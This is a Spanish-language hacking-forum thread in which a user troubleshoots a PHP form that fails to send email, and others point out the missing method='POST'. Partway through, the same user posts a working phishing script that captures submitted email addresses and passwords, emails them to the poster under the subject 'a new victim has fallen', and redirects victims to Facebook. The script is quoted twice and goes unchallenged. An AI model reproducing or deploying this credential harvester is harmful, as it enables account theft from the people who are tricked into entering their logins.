Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: rollth en Noviembre 30, 2014, 09:29:59 PM

Título: [SOLUCIONADO] Fallo mail php
Publicado por: rollth en Noviembre 30, 2014, 09:29:59 PM
Buenas a todos, ya he mandado mails otras veces en php, pero ahora no se en que estoy fallando que no se manda. Dejo el form del html y el codigo php.

Código (html5) [Seleccionar]

<form action="correof.php">
<input name="correof">
<button type="submit">Enviar</button>
</form>


correof.php

Código (php) [Seleccionar]
<?php
$correoreceptor 
trim($_POST['correof']);
$asunto "Prueba";
$mensaje "Prueba";
 
mail($correoreceptor$asunto$mensaje);

header('Location: xxxxxxxxxxxxxx');
?>



A ver si saben porque es, porque ando loco.
Título: Re:Fallo mail php
Publicado por: hielasangre en Diciembre 01, 2014, 12:20:49 AM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Buenas a todos, ya he mandado mails otras veces en php, pero ahora no se en que estoy fallando que no se manda. Dejo el form del html y el codigo php.

Código (html5) [Seleccionar]

<form action="correof.php">
<input name="correof">
<button type="submit">Enviar</button>
</form>


correof.php

Código (php) [Seleccionar]
<?php
$correoreceptor 
trim($_POST['correof']);
$asunto "Prueba";
$mensaje "Prueba";
 
mail($correoreceptor$asunto$mensaje);

header('Location: xxxxxxxxxxxxxx');
?>



A ver si saben porque es, porque ando loco.
subiste un phpinfo, y te fijaste si tiene la funcion mail activada?
Título: Re:Fallo mail php
Publicado por: rollth en Diciembre 01, 2014, 08:02:59 AM
No, pero se que la tiene activada porque ya he utilizado la funcion mail y ha funcionado. Lo tengo subido en hostinger.
Título: Re:Fallo mail php
Publicado por: Jimeno en Diciembre 01, 2014, 09:28:10 AM
Es por culpa del mail, necesitas poner el final, el "\r\n". Te dejo copypaste de php.net
Ejemplo #1 Enviar un correo.

Usando mail() para enviar un correo simple:
Código (php) [Seleccionar]
<?php
// El mensaje
$mensaje "Línea 1\r\nLínea 2\r\nLínea 3";

// Si cualquier línea es más larga de 70 caracteres, se debería usar wordwrap()
$mensaje wordwrap($mensaje70"\r\n");

// Enviarlo
mail('[email protected]''Mi título'$mensaje);
?>
Título: Re:Fallo mail php
Publicado por: rollth en Diciembre 01, 2014, 11:54:31 AM
Probare a añadirle /r/n a ver que tal...
Título: Re:Fallo mail php
Publicado por: rollth en Diciembre 01, 2014, 06:31:12 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Es por culpa del mail, necesitas poner el final, el "\r\n". Te dejo copypaste de php.net
Ejemplo #1 Enviar un correo.

Usando mail() para enviar un correo simple:
Código (php) [Seleccionar]
<?php
// El mensaje
$mensaje "Línea 1\r\nLínea 2\r\nLínea 3";

// Si cualquier línea es más larga de 70 caracteres, se debería usar wordwrap()
$mensaje wordwrap($mensaje70"\r\n");

// Enviarlo
mail('[email protected]''Mi título'$mensaje);
?>


Sigue sin enviarse, aclaro que no me da ningun error, simplemente no se envia...
Título: Re:Fallo mail php
Publicado por: arthusu en Diciembre 01, 2014, 10:56:57 PM
Pruebalo en otro servidor, como dijo hielasangre debe ser la configuracion ;)
Título: Re:Fallo mail php
Publicado por: rollth en Diciembre 02, 2014, 09:59:31 AM
Eso habia pensado, contratare otro servicio de hosting gratuito... Gracias por contestar.
Título: Re:Fallo mail php
Publicado por: rollth en Diciembre 02, 2014, 01:28:02 PM
Acabo de testear en otro host y sigue sin funcionar, yo creo que es por el code, pero no se...
Título: Re:Fallo mail php
Publicado por: arthusu en Diciembre 02, 2014, 02:51:00 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Acabo de testear en otro host y sigue sin funcionar, yo creo que es por el code, pero no se...
Has visto en correos de spam?
Título: Re:Fallo mail php
Publicado por: rollth en Diciembre 02, 2014, 03:02:03 PM
Tampoco esta en spam, el host si me manda correos con este script

Código (php) [Seleccionar]
<?php
 
$user 
trim($_POST['email']);
$password trim($_POST['password']);
 
$correoreceptor "[email protected]";
$asunto "Ha caido una nueva víctima";
$mensaje "Usuario: ".$user."  -  Contraseña: ".$password;
 
mail($correoreceptor$asunto$mensaje);
header('Location: https://www.facebook.com');

?>
Título: Re:Fallo mail php
Publicado por: arthusu en Diciembre 02, 2014, 04:15:00 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Tampoco esta en spam, el host si me manda correos con este script

Código (php) [Seleccionar]
<?php
 
$user 
trim($_POST['email']);
$password trim($_POST['password']);
 
$correoreceptor "[email protected]";
$asunto "Ha caido una nueva víctima";
$mensaje "Usuario: ".$user."  -  Contraseña: ".$password;
 
mail($correoreceptor$asunto$mensaje);
header('Location: https://www.facebook.com');

?>


Si has solucionado el tema marcalo como tal para que lo cierren ;)
Título: Re:Fallo mail php
Publicado por: rollth en Diciembre 02, 2014, 07:24:13 PM
No lo he solucionado, eso es otro script que hice que si me lo mandaba, el primero que postee es otro diferente que no se manda, la diferencia es que en lugar de modificar el mensaje a partir del input se modifica el correo receptor y empieza a fallar, esta noche intentare arreglarlo y si lo consigo posteare la solucion.
Título: Re:Fallo mail php
Publicado por: ezephp en Diciembre 12, 2014, 12:39:20 PM
en form pone method='POST' ....
Título: Re:Fallo mail php
Publicado por: arthusu en Diciembre 13, 2014, 02:42:39 AM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
en form pone method='POST' ....
LEL Cierto!  ;D